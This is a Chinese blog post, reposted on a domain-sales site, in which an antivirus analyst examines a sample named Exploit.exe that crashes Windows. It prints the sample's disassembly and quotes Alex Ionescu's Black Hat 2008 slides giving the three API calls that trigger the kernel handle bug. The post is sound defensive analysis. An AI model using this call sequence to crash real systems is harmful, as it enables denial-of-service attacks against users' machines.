账号: 密码:  注册 忘记密码
 热搜: com  b08.com  ci  19  www.iisp.com  
一个利用windows系统漏洞造成蓝屏的病毒
分类:行业新闻   作者:淘域网编辑   发布时间:2008-10-29 16:43:55 浏览:8186
分享到:

昨天收到一个会造成windows系统蓝屏(BSOD)的病毒淘域网(www.b08.com)

感觉挺有趣的,利用了windows内核对于handle操作的一个bug淘域网(www.b08.com)

 淘域网(www.b08.com)

文件信息:淘域网(www.b08.com)

文件名:Exploit.exe淘域网(www.b08.com)

大小:49152字节淘域网(www.b08.com)

MD5:640f5b263c9697ee402285e16d91c963淘域网(www.b08.com)

 淘域网(www.b08.com)

程序执行起来系统立即蓝屏,提示的错误是 INVALID_KERNEL_HANDLE淘域网(www.b08.com)

淘域网(www.b08.com)

 淘域网(www.b08.com)

扔到PEID里发现这个程序是Microsoft Visual Studio .NET 2005 -- 2008 -> Microsoft Corporation *淘域网(www.b08.com)

 淘域网(www.b08.com)

没有加壳,省了一步,很开心,少了许多潜在的麻烦。淘域网(www.b08.com)

 淘域网(www.b08.com)

扔到IDA里,自动识别到main函数。淘域网(www.b08.com)

 淘域网(www.b08.com)

push    esi
push                 ; lpsa
push    37Fh            ; dwDesiredAccess
push                 ; dwReserved
push                 ; lpwinsta
call    ds:CreateWindowStationW
push                 ; dwFlags
mov     esi, eax
push                 ; dwMask
push    esi             ; hObject
call    ds:SetHandleInformation
push    esi             ; hWinSta
call    ds:CloseWindowStation
xor     eax, eax
pop     esi
retn
淘域网(www.b08.com)

main函数很简单,里面就只调用了三个API淘域网(www.b08.com)

CreateWindowStationW
SetHandleInformation
淘域网(www.b08.com)

CloseWindowStation淘域网(www.b08.com)

这几个API在以前的分析中很少见到。淘域网(www.b08.com)

 淘域网(www.b08.com)

把样本扔到OD里,在401000下断点,F9直接过去,F7单步,发现执行完call    ds:CloseWindowStation就导致蓝屏。淘域网(www.b08.com)

 淘域网(www.b08.com)

对于这个结果十分不解。但是几次试下来每次都是这样的结果,可以确定作者是故意构造成这样使系统发生蓝屏的。淘域网(www.b08.com)

 淘域网(www.b08.com)

于是到网上找了一下资料,发现这个是Alex Ionescu大牛在今年 2008 black hat大会上发布的一个windows的bug,这个bug不仅影响Windows XP,并且在Vista SP1/Windows Server 2008中也依然存在。淘域网(www.b08.com)

 淘域网(www.b08.com)

Alex Ionescu大牛在PPT中是这样做说明的:淘域网(www.b08.com)

Find a handle that we can control, and wait for the kernel to close it.
Or better yet, have some sort of function that can coerce the kernel to close the handle immediately.
But all handle closing is done with CloseHandle. False! Window Stations and Desktops are actually managed by the Object Manager, even if they are Win32k objects.淘域网(www.b08.com)

 淘域网(www.b08.com)

Cannot normally use CloseHandle on a window station or desktop handle.
Win32k blocks CloseHandle calls with the OkayToClose mechanism
Provides CloseWindowStation and CloseDesktop APIs (NtUserCloseWindowStation/Desktop)
NtUserCloseWindowStation is a simple wrapper around...
ZwClose!淘域网(www.b08.com)

 淘域网(www.b08.com)

So all we have to do is:
1. Create a window station with CreateWindowStation
2. Protect the handle with SetHandleInformation
3. Close it with CloseWindowStation淘域网(www.b08.com)

Bug was caught in Vista SP1 / Server 2008 timeframe. Probably due to SDL -- obvious bug淘域网(www.b08.com)

 淘域网(www.b08.com)

详细内容可以参考Alex Ionescu's Blog中的文章Black Hat 2008 Wrap-up、这里有PPT的PDF版本下载:淘域网(www.b08.com)

http://www.alex-ionescu.com/BH08-AlexIonescu.pdf淘域网(www.b08.com)

 淘域网(www.b08.com)

这样看下来,这个程序应该是构造用来展示Windows内核的一个bug的演示程序,不过介于其造成的结果是导致Windows系统Crash蓝屏,可能会被利用对计算机进行破坏,所以最终还是加进病毒码进行查杀。淘域网(www.b08.com)

 淘域网(www.b08.com)

以上是一些小感想,抛砖引玉,希望引来大牛进一步解释一下。淘域网(www.b08.com)


标签:  
关注我们
微信号: b08com
扫描左侧二维码加淘域网为好友, 免费获取各种优惠信息!
耐思智慧公众号微信
分享到:
微信号:b08com
400-622-8200